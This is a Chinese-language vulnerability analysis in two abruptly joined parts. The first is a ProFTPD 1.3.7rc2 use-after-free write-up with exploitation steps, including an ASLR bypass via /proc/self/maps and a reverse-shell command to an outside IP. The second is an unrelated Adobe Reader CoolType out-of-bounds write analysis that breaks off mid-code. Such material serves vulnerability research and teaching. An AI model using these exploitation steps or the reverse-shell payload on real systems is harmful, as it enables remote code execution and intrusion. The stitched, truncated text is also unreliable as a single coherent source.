漏洞描述：UAF类型的漏洞，通过伪造pool_rec内存池控制结构，可以篡改函数指针，从而达到任意命令执行。
漏洞修复：https://github.com/proftpd/proftpd/commit/d388f7904d4c9a6d0ea54237b8b54a57c19d8d49
影响版本：小于v1.3.7rc3
测试版本：v1.3.7rc2
保护机制：Canary/NX/Full RelRO（ubuntu 18.04版本）

环境搭建

调试环境/目标机器：ubuntu 18.04

ProFTPd源码编译及部署：

// 安装依赖
apt-get install -y build-essential net-tools git 
// 源码下载
git clone https://github.com/proftpd/proftpd.git
// 切换到存在漏洞分支
git checkout -b 1.3.7rc2 v1.3.7rc2
// 生成Makefile文件,带gdb调试信息
./configure CFLAGS="-ggdb -O0" --with-modules=mod_copy --prefix=/usr --enable-openssl
// 编译
make -j4
// 打包
apt install -y checkinstall
// 含debug信息
checkinstall -D \
--pkgname='ProFTPd' \
--pkgversion="1.3.7rc2" \
--maintainer="yuanyue@qianxin.com" \
--install=no \
--strip=no \
--stripso=no

创建匿名用户：

groupadd ftp #添加ftp组
useradd ftp -g ftp -d /var/ftp #添加ftp用户
passwd ftp #设置匿名ftp用户密码为ftp

proftpd.conf匿名登录配置：如果没有/usr/etc/proftpd.conf这个文件，将以下内容写入。

# This is a basic ProFTPD configuration file (rename it to 
# 'proftpd.conf' for actual use.  It establishes a single server
# and a single anonymous login.  It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.
ServerName   "ProFTPD Default Installation"
ServerType   standalone
DefaultServer   on
# Port 21 is the standard FTP port.
Port    21
# Umask 022 is a good standard umask to prevent new dirs and files
# from being group and world writable.
Umask    022
# To prevent DoS attacks, set the maximum number of child processes
# to 30.  If you need to allow more than 30 concurrent connections
# at once, simply increase this value.  Note that this ONLY works
# in standalone mode, in inetd mode you should use an inetd server
# that allows you to limit maximum number of processes per service
# (such as xinetd).
MaxInstances   30
# Set the user and group under which the server will run.
User    nobody
Group    nogroup
# To cause every FTP user to be "jailed" (chrooted) into their home
# directory, uncomment this line.
#DefaultRoot ~
# Normally, we want files to be overwriteable.
<Directory />
  AllowOverwrite  on
</Directory>
# A basic anonymous configuration, no upload directories.  If you do not
# want anonymous users, simply delete this entire <Anonymous> section.
<Anonymous ~ftp>
  User    ftp
  Group    ftp
  # We want clients to be able to login with "anonymous" as well as "ftp"
  UserAlias   anonymous ftp
  # Limit the maximum number of anonymous logins
  MaxClients   10
  # We want 'welcome.msg' displayed at login, and '.message' displayed
  # in each newly chdired directory.
  DisplayLogin   welcome.msg
  #DisplayFirstChdir  .message
  # Limit WRITE everywhere in the anonymous chroot
  #<Limit WRITE>
  #  DenyAll
  #</Limit>
</Anonymous>

如果有/usr/etc/proftpd.conf这个文件，则注释掉下面三行配置，允许匿名用户上传文件。

  #<Limit WRITE>
  #  DenyAll
  #</Limit>

启动proftpd服务：

// 直接执行
/usr/sbin/proftpd

gdb调试：关闭系统ASLR，同时注释掉exp里绕获取maps的连接的线程，让proftpd第一个子进程就是漏洞进程，暂时没有找到其它方法在多个子进程里打断点。

gdb /usr/sbin/proftpd \
 -ex "set detach-on-fork on" \
 -ex "set follow-fork-mode child" \
 -ex "set breakpoint pending on" \
 -ex "b xfer_stor" \
 -ex "b pr_data_xfer" \
 -ex "b pr_data_abort" \
 -ex "b _exit"

漏洞分析

ProFTPD介绍

proftpd服务全程是Professional FTP daemon，是目前最为流行的FTP服务软件，相比于vsfptd，proftpd配置灵活，可配置选项更多，支持匿名、虚拟主机等多种环境部署，proftpd对中文环境兼容比vsftpd要好，相对于vsftpd使用效率要高很多，但是proftpd安全性相较vsfptd差一点。

proftpd的内存管理是在原有的glibc内置的ptmalloc2内存分配器的基础上重新封装的一套内存池管理机制，根据proftpd自己的文档描述，该alloc_pool机制源于apache的开源项目，至于是源于apache哪个开源项目，proftpd文档里并没有说明，我也没有在apache的项目里找到该内存池源码，毕竟apache的项目成千上万。

内存池分配器介绍

关键结构

#define CLICK_SZ (sizeof(union align))

CLICK_SZ是一个宏，代表内存对齐的长度，64位系统的值为8。

block_hdr

union block_hdr {
  union align a;
  /* Padding */
#if defined(_LP64) || defined(__LP64__)
  char pad[32];
#endif
  /* Actual header */
  struct {
    void *endp;
    union block_hdr *next;
    void *first_avail;
  } h;
};

每一个通过alloc_pool()或者make_sub_pool()函数分配的内存块，都一个union block_hdr，是用来描述当前内存块的状态。

• h->endp：指向当前内存块的末尾地址。
• h->next：指向内存块链表的下一个内存块。
• h->first_avail：指向当前内存块空闲区域的首地址。

pool_rec

struct pool_rec {
  union block_hdr *first;
  union block_hdr *last;
  struct cleanup *cleanups;
  struct pool_rec *sub_pools;
  struct pool_rec *sub_next;
  struct pool_rec *sub_prev;
  struct pool_rec *parent;
  char *free_first_avail;
  const char *tag;
};

struct pool_rec是用来记录每一个pool状态的结构，关键成员变量的含义描述如下。

first：当前pool链表中，第一个pool的指针。

last：当前pool链表中，最后一个pool的指针。

cleanups：指向cleanup_t结构体，该结构体在释放pool时会用到。

sub_pools：指向当前pool的sub pool。

sub_next：指向当前pool的后一个pool。

sub_prev：指向当前pool的前一个pool。

parent：指向当前pool的父pool。

free_first_avail：指向当前pool内存块的可分配首地址。

tag：可以理解为pool的标签或者名称，比如session pool、table pool。

关键函数

alloc_pool

alloc_pool()函数是palloc()、pallocsz()、pcalloc()、pcallocsz()、make_array()等等一系列内存分配函数的底层核心函数，这些函数只对alloc_pool()函数做了简单的封装，我们还是重点介绍alloc_pool()核心函数。

static void *alloc_pool(struct pool_rec *p, size_t reqsz, int exact) {
  // 根据请求分配内存大小reqsz的值，按CLICK_SZ对齐计算所需内存大小sz
  /* Round up requested size to an even number of aligned units */
  size_t nclicks = 1 + ((reqsz - 1) / CLICK_SZ);
  size_t sz = nclicks * CLICK_SZ;
  union block_hdr *blok;
  char *first_avail, *new_first_avail;
  /* For performance, see if space is available in the most recently
   * allocated block.
   */
  // 从pool中取出最近可用的内存块，如果该pool为空，则函数返回NULL
  blok = p->last;
  if (blok == NULL) {
    errno = EINVAL;
    return NULL;
  }
  // 计算出当前pool最近有内存块的空闲区域首地址赋值给first_avail
  first_avail = blok->h.first_avail;
  // 如果请求分配内存大小reqsz为0，函数直接返回NULL
  if (reqsz == 0) {
    /* Don't try to allocate memory of zero length.
     *
     * This should NOT happen normally; if it does, by returning NULL we
     * almost guarantee a null pointer dereference.
     */
    errno = EINVAL;
    return NULL;
  }
  // 根据当前pool可用内存块的空闲区域首地址 + 所需内存大小sz = 计算所需内存大小sz的末尾地址
  new_first_avail = first_avail + sz;
  // 计算所需内存大小sz的末尾地址，如果小于等于当前内存块blok的末尾地址，表示当前内存块blok有足够的内分配给用户，并更新当前内存块blok的可用内存首地址，并返回分配的内存的地址。
  if (new_first_avail <= (char *) blok->h.endp) {
    blok->h.first_avail = new_first_avail;  // 并更新当前内存块blok的空闲区域首地址
    return (void *) first_avail;
  }
  /* Need a new one that's big enough */
  pr_alarms_block();
  // 如果当前blok不足以满足sz，则重新向ptmalloc内存分配器申请内存块，并添加到当前pool中
  blok = new_block(sz, exact);
  p->last->h.next = blok; // 记录当前pool最近内存块头部链表的下一个指向新申请的blok
  p->last = blok;   // 将新申请的blok添加到当前pool的内存块链表的末端
  // first_avail指向新申请的blok空闲区域首地址
  first_avail = blok->h.first_avail;
  // 计算所需内存大小sz的末尾地址，也就是新的first_avail地址
  blok->h.first_avail = sz + (char *) blok->h.first_avail; 
  pr_alarms_unblock();
  return (void *) first_avail;
}

new_block

new_block()函数首先while循环遍历block的空闲链表是否有可用的block，没有则向ptmalloc2内存分配器申请新的内存块。

static union block_hdr *new_block(int minsz, int exact) {
  union block_hdr **lastptr = &block_freelist;
  union block_hdr *blok = block_freelist;
  // exact表示minsz大小是否准确，如果exact=false，则minsz还需要加上512字节，反之则不用
  if (!exact) {
    minsz = 1 + ((minsz - 1) / BLOCK_MINFREE);
    minsz *= BLOCK_MINFREE;
  }
  // 遍历block freelist是否有符合要求的block，有则返回符合要求的block
  while (blok) {
    if (minsz <= ((char *) blok->h.endp - (char *) blok->h.first_avail)) {
      *lastptr = blok->h.next;
      blok->h.next = NULL;
      stat_freehit++;
      return blok;
    }
    lastptr = &blok->h.next;
    blok = blok->h.next;
  }
  // block的空闲链表没有符合要求的block则从ptmalloc内存分配器申请
  /* Nope...damn.  Have to malloc() a new one. */
  stat_malloc++;
  return malloc_block(minsz);
}

malloc_block

malloc_block()函数间接调用了malloc()函数申请新内存，并初始化新内存块的block头信息。

1. h.next置空。
2. h.first_avail指向新内存块偏移sizeof(union block_hdr)大小之后。
3. h.endp指向内存新内存块的block地址结尾。

static union block_hdr *malloc_block(size_t size) {
  // 间接调用malloc函数，申请内存大小 = 申请对齐后内存的大小 + block头大小
  union block_hdr *blok =
    (union block_hdr *) smalloc(size + sizeof(union block_hdr));
  // 更新新内存block的头信息
  blok->h.next = NULL;
  blok->h.first_avail = (char *) (blok + 1);
  blok->h.endp = size + (char *) blok->h.first_avail;
  return blok;
}

make_sub_pool

make_sub_pool()函数用于在当前pool里申请new_pool，并赋值给当前pool的sub_pool字段，

struct pool_rec *make_sub_pool(struct pool_rec *p) {
  union block_hdr *blok;
  pool *new_pool;
  pr_alarms_block();
  // 创建一个512字节的内存块
  blok = new_block(0, FALSE);
  // new_pool指向新创建的blok的block_hdr后，first_avail向后挪动pool hdr的大小
  new_pool = (pool *) blok->h.first_avail;
  blok->h.first_avail = POOL_HDR_BYTES + (char *) blok->h.first_avail;
  // 给new_pool的头初始化为0
  memset(new_pool, 0, sizeof(struct pool_rec));
  new_pool->free_first_avail = blok->h.first_avail; //初始化new_pool的free_first_avail
  new_pool->first = new_pool->last = blok; //初始化new_pool的first和last为blok
  // 如果p为真，将new_pool的parent设置为p，new_pool的sub_next设置为p的sub_pools
  if (p) {
    new_pool->parent = p;
    new_pool->sub_next = p->sub_pools;
    // 如果p的sub_pools不为空，就将new_pool插入到p的sub_pools里其它pool之前
    if (new_pool->sub_next)
      new_pool->sub_next->sub_prev = new_pool;
    // 将new_pool插入到p的sub_pools里
    p->sub_pools = new_pool;
  }
  pr_alarms_unblock();
  return new_pool;
}

漏洞触发

为了方便触发漏洞，这里我们先关闭系统地址空间布局随机化(ASLR)。

echo 0 > /proc/sys/kernel/randomize_va_space

然后在启动proftpd，这里我们可以启动无子进程方式，需要加上参数-X。

/usr/sbin/proftpd -X -n -d10

poc大致步骤：

第一步，创建线程A监听本地端口3247等待连接，线程A阻塞住，创建线程B，连接目标ip和端口，端口为21，并返回包含'220 ProFTPD Server (ProFTPD Default Installation)'信息，即表示和proftpd服务连上了。

第二步，线程B，发送两条指令，用来登录，第一条指令‘USER xxx’，第二条指令‘PASS mmm’，xxx代表用户名，mmm代表密码，返回230开头的信息，表示身份验证通过，登录成功。

第三步，线程B，发送一条指令‘TYPE I’，返回‘200 Type set to I\r\n’，接着发送PORT命令，切换proftpd服务为主动模式，让服务器来连接攻击者的客户端线程A监听的端口，然后再发送一条命令STOR，上传任意文件，为了开通一个数据传输通道，当线程A收到proftpd服务发出的连接请求后会停止阻塞，想办法让线程停住，可以通过全局变量+while循环来控制。

第四步，线程B，继续发送一段命令A给proftpd server，发送完，让线程A停止等待，立马让线程A也发送一段垃圾数据给proftpd服务，由于proftpd服务先收到线程B的发送的上传文件的命令，程序进入mod_xfer处理线程B上传文件，并且在poll_ctrl()调用pr_cmd_read()接收到命令A，然后又接收了线程A的垃圾数据写入进命令A所在的cmd_rec所指向的pool，后续调用strdup时，访问了这个pool，因为写入的垃圾数据，导致strdup函数访问pool时读取的是垃圾数据并取了地址，出现非法内存的段错误。

漏洞触发：

proftpd debug模式运行的崩溃界面，

在gdb调试环境里看到的崩溃堆栈，

漏洞利用

绕过ASLR

前提条件：需要proftpd支持mod_copy模块，执行configure文件时加上--with-modules=mod_copy参数，这样proftpd才能支持拷贝粘贴的能力，site cpfr为拷贝，site cpto为粘贴。

绕过思路：ASLR绕过相对较为简单，proftpd支持mod_copy模块，在登录上proftpd服务后，proftpd可以拷贝自身/proc/self/maps来获取进程内堆、代码段、libc的起始地址，proftpd默认模块里，有下载的命令retr，但是没法直接下载/proc/self/maps文件，所以将/proc/self/maps拷贝到/tmp目录下，然后把/tmp/maps文件下载下来，可以得到类似这样的文本内容。

篡改plain_cleanup_cb

利用思路：类似于在ptmalloc2里，劫持__free_hook函数指针一样，在proftpd里，通过劫持struct cleanup里的void (*plain_cleanup_cb)(void *)函数指针，来控制执行流，从而达到任意命令执行。

不同：在ptmalloc2里，比较常见的是对__free_hook函数指针进行劫持，来控制执行流，__free_hook函数指针是一个全局变量，所以__free_hook的地址相对于libc.so的基址是固定偏移，只要知道了libc在进程中的起始地址，是可以算出__free_hook函数指针这个变量的地址的，只要有稳定的任意地址写，即可稳定利用，大致内存关系可参考下图。

但是在proftpd服务的内存池palloc里，palloc在释放内存池的时候，能劫持的函数指针，目前比较合适的只有pool_rec->cleanups->plain_cleanup_cb这个函数指针，想要篡改plain_cleanup_cb这个函数指针，就需要知道pool_rec->cleanups->plain_cleanup_cb的地址并对其写入我们想要的数据。pool_rec->cleanups是当前释放的内存池pool的管理结构struct pool_rec的成员，每个pool的管理结构block_hdr和struct pool_rec都在heap段，plain_cleanup_cb的地址也在heap段，这样就很难通过偏移计算plain_cleanup_cb在heap段的地址，就很难稳定的利用对plain_cleanup_cb劫持来执行任意代码，pool的内存关系可参考下图。

（注：在64位系统里，palloc内存池按8字节对齐分配内存）

任意地址写：cmd->pool是线程A控制的内容fake_pool，通过伪造cmd->pool的内容，借用make_sub_pool()函数的任意地址写（这个任意写内容不可控）绕过pr_cmd_get_displayable_str()函数内的pr_table_get()对"displayable-str"字符串的检索，使其检索失败，继续执行并调用pstrdup(cmd->pool, res)函数，res是线程B控制的内容，pstrdup()函数类似于字符串拷贝，通过将cmd->pool->sub_prev指向gid_tab的地址向前一部分的偏移，以此来篡改gid_tab->pool的地址内容指向cmd->pool - 0x10的地址，这样在释放gid_tab时就会同时释放掉gid_tab->pool，便可调用我们控制的cleanups，从而达到任意命令执行。

利用步骤：

前三步和漏洞触发流程一样，

第一步，创建线程A监听本地端口3247等待连接，线程A阻塞住，创建线程B，连接目标ip和端口，端口为21，并返回包含'220 ProFTPD Server (ProFTPD Default Installation)'信息，即表示和proftpd服务连上了。

第二步，线程B，发送两条指令，用来登录，第一条指令‘USER xxx’，第二条指令‘PASS mmm’，xxx代表用户名，mmm代表密码，返回230开头的信息，表示身份验证通过，登录成功。

第三步，线程B，发送一条指令‘TYPE I’，返回‘200 Type set to I\r\n’，接着发送PORT命令，切换proftpd服务为主动模式，让服务器来连接攻击者的客户端线程A监听的端口，然后再发送一条命令STOR，上传任意文件，开通一个数据传输通道，当线程A收到proftpd服务发出的连接请求后，想办法让线程停住，可以通过全局变量+while循环来控制。

从第四步开始有些不同，

第四步，线程B，继续发送一段命令A给proftpd服务，这个命令A内容是特意构造的，就是我们控制pr_cmd_get_displayable_str()函数里pstrdup(cmd->pool, res)函数的第二个参数res，构造的内容包含cmd->pool - 0x10的地址，发送完，让线程A停止等待，立马让线程A发送一段数据给proftpd服务，这次不是再垃圾数据，是我们精心构造好的恶意的pool_rec、cleanup_t、blok_hdr和反弹shell的命令，后面分别用fake_pool_rec、fake_cleanup_t、fake_blok_hdr和gCmd来代表，到此，就等待反弹shell吧。

构造shellcode

说明，这次shellcode的构建，不同于ptmalloc2的内存管理，这次涉及到大家不熟悉的palloc内存池管理，利用内存池及其控制结构pool_rec和blok_hdr来完成利用，第一次理解起来可能麻烦点，如果大家很熟悉palloc内存池内存池的利用，可以忽略这句话。

在上述的利用第四步中，线程B发送的命令，会在poll_ctrl()函数里第933行调用pr_cmd_read()读取。

线程A发送的shellcode，会在pr_data_xfer()函数第1265行被pr_netio_read()函数读取。

pr_netio_read()函数的参数cl_buf，在xfer_stor()函数第2026行从cmd分配的sub_pool，所以线程A发送的shellcode直接占据了pool_rec及后面的内存，shellcode伪造的内容及关系图如下。

gid_tab、cmd->pool、cmd->notes和cmd->notes->chains，这4个都是堆上的地址，我们都需要提前计算相对heap偏移。

线程A发送完shellcode后，进入任意写的流程，会再次调用data.c:933行的pr_cmd_read()函数，此次读到返回小于0，进入if判断，进入pr_session_disconnect()函数， 然后会进入到xfer_exit_ev()函数，调用链为main()->standalone_main()->daemon_loop()->fork_server()->cmd_loop()->pr_cmd_dispatch()->pr_cmd_dispatch_phase()->_dispatch()->pr_module_call()->xfer_stor()->pr_data_xfer()->poll_ctrl()->pr_session_disconnect()->pr_session_end->sess_cleanup()->pr_event_generate()->xfer_exit_ev()。然后xfer_exit_ev()函数会继续调用pr_cmd_dispatch_phase()到_dispatch()函数，到了main.c:287行调用make_sub_pool()函数。

第一个任意地址写，但是写的内容不可控制，在make_sub_pool()函数里，通过箭头指向的两条语句，任意写的内容是new_pool的地址，伪造p->sub_pools指向cmd->notes - 0x10，这样new_pool->sub_next等于cmd->notes - 0x10，new_pool->sub_next->sub_prev等同于指向cmd->notes->chains，这个任意写地址内容就是new_pool的地址，内控不可控，不能直接篡改plain_cleanup_cb函数指针写入我们想要的内容，所以第一个任意写内容不可控。

但是我们可以借助这个内容不可控的任意写，篡改cmd->notes->chains的地址。执行完make_sub_pool()函数，紧接着调用pr_cmd_get_displayable_str()函数，cmd.c:374行任意写的地方，内容是可控的，res是线程B发送命令的第二个参数。

在不篡改cmd->notes->chains的情况下，程序会在调用完res = pr_table_get(cmd->notes, "displayable-str", NULL)进入if判断并退出pr_cmd_get_displayable_str()函数，在篡改完cmd->notes->chains的情况下，pr_table_get()函数会返回NULL，继续执行到pstrdup(cmd->pool, res)，具体细节自行调试。

当我们伪造的fake_pool_rec->sub_prev字段指向gid_tab-0x90，伪造res的内容为cmd->pool - 0x10，恰好在pstrdup(cmd->pool, res)时，res写入的地址刚好是gid_tab的前8字节，也就是gid_tab->pool的地址为cmd->pool - 0x10，如此一来gid_tab->pool->cleanups的地址便指向了cmd->pool->first，cmd->pool->first通过构造指向了cmd->pool->first + 0x50也就是fake_cleanups，所以当调用pr_table_free(gid_tab)时，最终会调用到run_cleanups()函数，参数为fake_cleanups，fake_cleanups是我们伪造好的，fake_cleanups->data指向一段比如反弹shell的命令bash -c "bash -i>& /dev/tcp/192.168.38.132/8000 0>&1" \x00，fake_cleanups->plain_cleanup_cb指向system的地址，即可通过system函数调用反弹shell命令。

但有一点，fake_blok_hdr->end必须远大于fake_blok_hdr->first_avail，建议0x300以上。

执行结果：

总结

有三个必须注意到的点，

1. 建议关闭系统ASLR调试和利用。
2. gid_tab、cmd->pool、cmd->notes和cmd->notes->chains，这4个都是堆上的地址，我们都需要提前计算相对heap偏移。
3. 本次利用并不稳定，仅供学习。

漏洞概述

该漏洞为2021年天府杯中使用的Adobe Reader越界写漏洞，漏洞位于字体解析模块：CoolType.dll中，对应的Adobe Reader版本为：21.007.20099。

原理分析

开启page heap后打开POC，Adobe崩溃于CoolType + 2013E处：

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000046 ebx=00000002 ecx=a54d102f edx=5ab2f001 esi=34adeb2c edi=5ab2efd0
eip=6cf9013e esp=34ade848 ebp=34adea70 iopl=0         nv up ei ng nz ac po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010293
CoolType!CTInit+0x1cb4e:
6cf9013e 807aff00        cmp     byte ptr [edx-1],0         ds:002b:5ab2f000=??
0:005> dd edx -31
5ab2efd0  0000d0c0 00000000 00000000 00000000
5ab2efe0  00000000 00000000 00000000 00000000
5ab2eff0  00000000 00000000 00000000 d0c00000
5ab2f000  ???????? ???????? ???????? ????????
5ab2f010  ???????? ???????? ???????? ????????
5ab2f020  ???????? ???????? ???????? ????????
5ab2f030  ???????? ???????? ???????? ????????
5ab2f040  ???????? ???????? ???????? ????????

从崩溃处可以明显看出越界访问了0x5ab2f000处的内存，崩溃函数为：CoolType +1FCB0，下断于该函数查看参数：

0:011> g
Breakpoint 0 hit
eax=0000002e ebx=34fff0e4 ecx=34fff310 edx=73006500 esi=59e06fd0 edi=00000001
eip=6cf8fcb0 esp=34ffef0c ebp=34fff0a8 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
CoolType!CTInit+0x1c6c0:
6cf8fcb0 55              push    ebp
0:011> dps esp+4 L7
34ffef10  59e06fd0
34ffef14  0000002e
34ffef18  34ffefc4
34ffef1c  00000001
34ffef20  00000000
34ffef24  00000001
34ffef28  00000000
0:011> dd 59e06fd0
59e06fd0  d6000800 50015001 51015101 61016101
59e06fe0  62016201 31000100 7a540f51 01521d18
59e06ff0  73006e18 74002000 73006500 d0c07400
59e07000  ???????? ???????? ???????? ????????
59e07010  ???????? ???????? ???????? ????????
59e07020  ???????? ???????? ???????? ????????
59e07030  ???????? ???????? ???????? ????????
59e07040  ???????? ???????? ???????? ????????

传入的参数1为POC中构造的字符串，参数2则为字符串的长度，调试后发现调用了函数MultiToWide后，传入的字符串变成了崩溃时的内存布局：

if ( !a9 || a10_ff || a5 )
    {
      v49 = size;
      MultiToWide(a5, v12, *(unsigned __int16 *)a3, (void *)v12, (int)&v49);// 内部调用MultiByteToWideCharStub
      LOWORD(result) = v49;
      *(_WORD *)a3 = v49;
      result = (unsigned __int16)result;
      goto LABEL_83;
    }
......
LABEL_83:
    if ( (_WORD)result )
    {
      v44 = (_BYTE *)(v12 + 1);
      v45 = ~v12;
      v51 = ~v12;
      do
      {
        if ( *(v44 - 1) || *v44 )               // crash

深入分析MultiToWide函数，内部调用了MultiByteToWideCharStub函数，将字符串转化为宽字节字符串：

bool __cdecl MultiToWide(int a1, int lpMultiByteStr, int cbMultiByte, void *MultByte, int MultByteSize)
{
  _BYTE *v5; // edx
  size_t size; // eax
  int v7; // edx
  int v8; // ecx
  char v9; // al
  bool v10; // zf
  unsigned __int16 CodePage; // ax
  int WideCharSize; // eax
  int v14; // esi
  int v15; // [esp+10h] [ebp-210h]
  size_t MultByteSize_1; // [esp+18h] [ebp-208h]
  char lpWideCharStr[512]; // [esp+1Ch] [ebp-204h] BYREF
  v5 = (_BYTE *)lpMultiByteStr;
  v15 = 0;
  size = *(_DWORD *)MultByteSize;
  *(_DWORD *)MultByteSize = 0;
  MultByteSize_1 = size;
  if ( !cbMultiByte )
  {
LABEL_4:
    v7 = cbMultiByte + lpMultiByteStr;
    v8 = 2 * cbMultiByte;
    *(_DWORD *)MultByteSize = 2 * cbMultiByte;
    if ( 2 * cbMultiByte )
    {
      do
      {
        v9 = *(_BYTE *)--v7;
        *((char *)MultByte + v8 - 1) = 0;
        v10 = v8 == 2;
        v8 -= 2;
        *((_BYTE *)MultByte + v8) = v9;
      }
      while ( !v10 );
    }
    return 1;
  }
  while ( (unsigned __int8)(*v5 - 0x20) <= 0x5Du )
  {
    ++v5;
    if ( ++v15 >= (unsigned int)cbMultiByte )
      goto LABEL_4;
  }
  CodePage = GetCodePage(a1);
  WideCharSize = off_82FF304(CodePage, 0, lpMultiByteStr, cbMultiByte, lpWideCharStr, 0x100);// 该函数为MultiByteToWideCharStub
  if ( WideCharSize && WideCharSize <= 0x100 )
  {
    v14 = 2 * WideCharSize;
    sub_800C383(MultByte, MultByteSize_1, lpWideCharStr, 2 * WideCharSize);// 内部调用memcpy
    *(_DWORD *)MultByteSize = v14;
    return 1;
  }
  *(_DWORD *)MultByteSize = MultByteSize_1;
  if ( sub_81443C0(a1, lpMultiByteStr, cbMultiByte, MultByte, (size_t *)MultByteSize) )
    return 1;
  *(_DWORD *)MultByteSize = MultByteSize_1;
  return sub_81442A2(a1, lpMultiByteStr, cbMultiByte, (int)MultByte, MultByteSize) != 0;
}

转换完毕后调用sub_800C383，检查当前MultByteSize大于等于2倍的WideCharSize时才会将转换后的宽字节字符串拷贝至原字符串的位置，否则将原字符串清空：

size_t __cdecl sub_800C383(void *MultByte, size_t MultByteSize, void *WideChar, size_t WideCharSize_double)
{
  size_t v4; // esi
  int *v5; // eax
  int v7; // [esp-8h] [ebp-Ch]
  v4 = WideCharSize_double;
  if ( WideCharSize_double )
  {
    if ( MultByte )
    {
      if ( WideChar && MultByteSize >= WideCharSize_double )
      {
        memcpy(MultByte, WideChar, WideCharSize_double);
        return 0;
      }
      else
      {
        memset(MultByte, 0, MultByteSize);
        if ( WideChar )
        {
          if ( MultByteSize >= WideCharSize_double )
            return 0x16;
          v5 = errno();
          v7 = 0x22;
        }
        else
        {
          v5 = errno();
          v7 = 0x16;
        }
        v4 = v7;
        *v5 = v7;
        invalid_parameter_noinfo();
      }
    }
    else
    {
      v4 = 0x16;
      *errno() = 0x16;
      invalid_parameter_noinfo();
    }
  }
  return v4;
}

调试至MultiByteToWideCharStub函数，转化后WideChar字符串的字符数为0x23个：

0:008> g
Breakpoint 2 hit
eax=000003a8 ebx=1306e8a8 ecx=0b9aea08 edx=1306e8a8 esi=00000024 edi=0b9aec3c
eip=724040e9 esp=0b9ae9d8 ebp=0b9aec0c iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
CoolType!CTGetVersion+0x58ab9:
724040e9 ff1504f35b72    call    dword ptr [CoolType!CTGetVersion+0x213cd4 (725bf304)] ds:002b:725bf304={KERNEL32!MultiByteToWideCharStub (75603da0)}
0:008> dps esp L6
0b9ae9d8  000003a8 //CodePage
0b9ae9dc  00000000 //dwFlags
0b9ae9e0  1306e8a8 //lpMultiByteStr
0b9ae9e4  00000024 //cbMultiByte
0b9ae9e8  0b9aea08 //lpWideCharStr
0b9ae9ec  00000100 //cchWideChar
0:008> dd 1306e8a8 Lc
1306e8a8  5001d608 51015001 61015101 62016101
1306e8b8  31016201 7a540f51 01521d18 20736e18
1306e8c8  74736574 74747474 74747474 00007474
0:008> dd 0b9aea08 Lc
0b9aea08  0c4ef818 0c4ef810 0b9aea4c 6f6c53a8
0b9aea18  1306ded0 0c4c5588 00000000 00000000
0b9aea28  0b9aea50 6dc1901f 6dc19024 1fbe9e77
0:008> p
eax=00000023 ebx=1306e8a8 ecx=c7dacb9e edx=0b9aea08 esi=00000024 edi=0b9aec3c
eip=724040ef esp=0b9ae9f0 ebp=0b9aec0c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
CoolType!CTGetVersion+0x58abf:
724040ef 85c0            test    eax,eax
0:008> dd 0b9aea08 L23*2/4 //转换后0x23个字符的WideChar字符串
0b9aea08  003f0008 00010050 00010050 00010051
0b9aea18  00010051 00010061 00010061 00010062
0b9aea28  00010062 00510031 0054000f 0018007a
0b9aea38  0052001d 00180001 0073006e 00740020
0b9aea48  00730065

继续执行到sub_800C383，由于当前MultiByteSize小于WideCharSize * 2，会执行memset函数清空MultiByteStr：

0:008> pc
eax=0000002e ebx=1306e8a8 ecx=c7dacb9e edx=0b9aea08 esi=00000046 edi=0b9aec3c
eip=7240410d esp=0b9ae9e0 ebp=0b9aec0c iopl=0         nv up ei ng nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000283
CoolType!CTGetVersion+0x58add:
7240410d e87182ecff      call    CoolType!CTInit+0x8d93 (722cc383)
0:008> dps esp L4
0b9ae9e0  1306e8a8  //MultiByteStr
0b9ae9e4  0000002e  //MultiByteSize
0b9ae9e8  0b9aea08  //WideCharStr
0b9ae9ec  00000046  //WideCharSize * 2
0:008> dd 1306e8a8 Lc //原MultiByte字符串
1306e8a8  5001d608 51015001 61015101 62016101
1306e8b8  31016201 7a540f51 01521d18 20736e18
1306e8c8  74736574 74747474 74747474 00007474
0:008> p
eax=00000022 ebx=1306e8a8 ecx=7df11661 edx=00000000 esi=00000046 edi=0b9aec3c
eip=72404112 esp=0b9ae9e0 ebp=0b9aec0c iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000212
CoolType!CTGetVersion+0x58ae2:
72404112 83c410          add     esp,10h
0:008> dd 1306e8a8 Lc //执行函数后被清空
1306e8a8  00000000 00000000 00000000 00000000
1306e8b8  00000000 00000000 00000000 00000000
1306e8c8  00000000 00000000 00000000 00000000

随后遍历被清空的MultByteStr，遍历的次数为转换后的WideChar的大小。当前MultByte的大小为0x2e，WideChar的大小为0x46。因此遍历到超过MultByte的大小时就造成了越界访问。

LABEL_83:
    if ( (_WORD)MultSize )
    {
      v44 = (_BYTE *)(EmptyMultByteStr + 1);
      v45 = ~EmptyMultByteStr;
      v51 = ~EmptyMultByteStr;
      do
      {
        if ( *(v44 - 1) || *v44 )  //POC崩溃处
        {
          if ( &v44[v45] != (_BYTE *)offset )
          {
            *(_BYTE *)(EmptyMultByteStr + offset) = *(v44 - 1);
            *(_BYTE *)(offset + EmptyMultByteStr + 1) = *v44;
          }
          offset += 2;
        }
        MultSize = *(unsigned __int16 *)a3;
        v44 += 2;
        v46 = (int)&v44[v45] < MultSize;
        v45 = v51;
      }
      while ( v46 );
    }
    *(_WORD *)a3 = offset;
    return MultSize;
  }

利用思路

该漏洞的利用方式和大部分越界写漏洞一致：

1. 通过堆喷射ArrayBuffer对象制造MultByteStr大小的内存空洞
2. 触发漏洞，MultByteStr位于两个ArrayBuffer对象之间
3. 绕过sub_800C383的字符串长度校验，将WideChar的字符串覆盖临近ArrayBuffer对象的Length属性值，构造越界写原语
4. 通过越界写原语修改下一个临近ArrayBuffer对象的Length属性为0xFFFFFFFF，构造任意地址读写原语

有了思路之后，首先需要确定控制MultByteStr大小的值位于POC中的位置，通过逆向可以得知该值通过一系列运算确定：

int __thiscall GetMultStr(int this, __int16 a2, __int16 a3, __int16 a4, __int16 a5, unsigned __int16 *a6)
{
  int v7; // ebx
